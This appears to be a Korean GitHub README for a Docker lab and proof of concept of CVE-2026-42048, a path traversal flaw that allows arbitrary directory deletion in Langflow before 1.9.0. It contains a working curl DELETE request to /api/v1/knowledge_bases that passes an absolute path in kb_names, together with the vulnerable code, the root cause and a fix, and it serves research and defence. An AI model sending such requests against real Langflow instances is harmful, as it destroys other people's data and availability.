
Langflow 임의 디렉터리 삭제
CVE-2026-42048 Langflow 경로 탐색 / 임의 디렉터리 삭제 PoC
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : Langflow 임의 디렉터리 삭제 취약점
설명: 1.9.0 이전의 Langflow에서 경로 탐색(path traversal) 취약점이 존재하며, 인증된 공격자가 대량 삭제 엔드포인트인 DELETE /api/v1/knowledge_bases를 통해 의도된 Knowledge Base 저장 경로 외부의 디렉터리를 삭제할 수 있습니다. 이 문제는 사용자가 제어하는 kb_names 값이 적절한 정규화(normalization) 및 포함(containment) 검증 없이 파일시스템 경로를 구성하는 데 사용되기 때문에 발생합니다.
성공적인 악용을 위해서는 다음 조건이 필요합니다:
1.9.0 이전의 취약한 Langflow 버전을 실행 중이어야 합니다.DELETE /api/v1/knowledge_bases
PR:L)만 필요하다고 설명합니다.kb_names 요청 본문 매개변수를 제어할 수 있어야 합니다.이 취약점은 운영체제 파일 권한을 우회하지 않습니다. Langflow 자체의 경로 처리 및 삭제 로직을 남용하는 것입니다.
Docker를 사용하여 취약한 환경을 빌드하고 실행합니다:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
실습은 다음 위치에 일회용 대상 디렉터리를 생성합니다:
/target/CVE-2026-42048
/status 엔드포인트는 해당 디렉터리가 여전히 존재하는지 보고합니다.
python3 poc.py
대화형 입력:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
익스플로잇에 성공하면 target_exists가 true에서 false로 변경됩니다.
취약한 엔드포인트
DELETE /api/v1/knowledge_bases
이 취약점은 Langflow의 Knowledge Bases 대량 삭제 API에 존재합니다. 영향을 받는 핸들러는 kb_names 매개변수를 통해 Knowledge Base 이름 목록을 전달받고, 각 값을 사용하여 삭제할 파일시스템 경로를 구성합니다.
취약한 버전에서는 대량 삭제 로직이 다른 Knowledge Base 엔드포인트에서 사용하는 더 안전한 경로 확인 헬퍼를 사용하는 대신 경로를 수동으로 구성합니다. 취약한 패턴을 단순화하여 나타내면 다음과 같습니다:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
삭제 헬퍼는 결국 재귀적 삭제 로직으로 대상 디렉터리를 제거합니다. kb_name은 공격자가 제어할 수 있으므로 ../와 같은 경로 탐색 시퀀스를 사용하여 현재 사용자의 Knowledge Base 디렉터리를 벗어날 수 있습니다. Python의 pathlib에서 오른쪽에 제공된 절대 경로는 이전 경로 구성 요소를 덮어쓸 수도 있습니다:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
결과적으로 조작된 kb_names 값은 Langflow 프로세스에 해당 디렉터리를 삭제할 권한이 있는 한, 의도된 Knowledge Base 저장소 루트 외부의 디렉터리를 Langflow가 삭제하도록 만들 수 있습니다.
이것은 CWE-22: Improper Limitation of a Pathname to a Restricted Directory 문제입니다.
근본 원인은 재귀적 삭제 전에 사용자가 제어하는 경로 구성 요소에 대한 충분한 정규화 및 경계 검증이 이루어지지 않기 때문입니다. 취약한 대량 삭제 엔드포인트는 최종 경로가 존재하는지 확인하지만, 확인된 경로가 인증된 사용자의 Knowledge Base 디렉터리 내에 유지되는지 여부는 보장하지 않습니다.
견고한 수정은 다음을 수행해야 합니다:
Path.resolve()로 최종 경로를 정규화합니다.Langflow는 1.9.0에서 이 문제를 수정했습니다.
임의 디렉터리 삭제는 무결성과 가용성에 직접적인 영향을 줄 수 있습니다. 배포 권한과 파일시스템 구성에 따라 공격자는 다음을 수행할 수 있습니다:
이 문제는 유해하기 위해 임의 코드 실행이 필요하지 않습니다. 애플리케이션 권한으로 재귀적 삭제를 수행하는 것만으로도 데이터와 가용성을 손상시키기에 충분합니다.
+-------------------------------------------+
| Authenticated User |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| Unsafe path construction
v
+-------------------------------------------+
| Path Escapes Intended KB User Directory |
+-------------------------------------------+
|
| Recursive directory deletion
v
+-------------------------------------------+
| Arbitrary Directory Deletion |
+-------------------------------------------+
이 실습은 포트 9101에서 작은 챌린지 프록시를 노출합니다. 프록시는 전체 Langflow UI와 직접 백엔드 포트를 숨기고, 이 연습에 필요한 최소한의 취약한 API 경로만 전달합니다.
실습의 대상 디렉터리는 다음과 같습니다:
/target/CVE-2026-42048
/status 엔드포인트를 사용하여 대상 디렉터리가 삭제되었는지 확인할 수 있습니다.
docker stop cve-2026-42048
이 저장소는 Langflow 인스턴스에 대한 승인되지 않은 악용을 용이하게 하기 위한 것이 아닙니다. 이 프로젝트의 목적은 보안 연구자, 방어자, 개발자가 취약점을 이해하고 통제된 환경에서 노출을 검증하며 효과적인 완화 조치를 적용하도록 돕는 것입니다.
https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q